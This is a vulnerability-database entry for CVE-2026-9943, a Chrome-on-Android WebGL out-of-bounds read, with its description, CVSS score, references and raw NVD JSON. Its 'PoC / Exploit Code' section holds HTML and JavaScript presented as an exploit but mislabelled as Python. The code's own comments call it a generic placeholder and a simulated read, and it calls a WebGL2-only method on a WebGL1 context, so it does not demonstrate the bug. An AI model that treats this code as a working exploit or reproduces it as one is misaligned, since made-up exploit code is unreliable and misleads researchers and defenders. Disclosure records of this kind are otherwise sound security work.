CVE-2026-9943

Description

Out of bounds read in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome (Android) < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9943: WebGL Out-of-Bounds Read -->
<!-- This PoC attempts to trigger the OOB read in WebGL -->
<!DOCTYPE html>
<html>
<body>
    <canvas id="glCanvas"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');

        if (!gl) {
            console.log("WebGL not supported");
        }

        // Attempt to trigger the bug with specific buffer parameters
        // This is a generic placeholder for the specific WebGL call causing OOB
        try {
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            // Malicious data size to trigger bounds check failure
            const data = new Float32Array(100000); 
            gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
            
            // Read back potentially more data than written (simulated)
            const readData = new Float32Array(100005); 
            gl.getBufferSubData(gl.ARRAY_BUFFER, 0, readData);
            
            console.log("Data leaked:", readData);
        } catch (e) {
            console.error("Exception caught:", e);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9943
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9943
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9943/
[4] VulDB https://vuldb.com/cve/CVE-2026-9943
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/503464551

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9943", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:52.433", "lastModified": "2026-05-29T18:17:16.017", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in WebGL in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/503464551", "source": "[email protected]"}]}}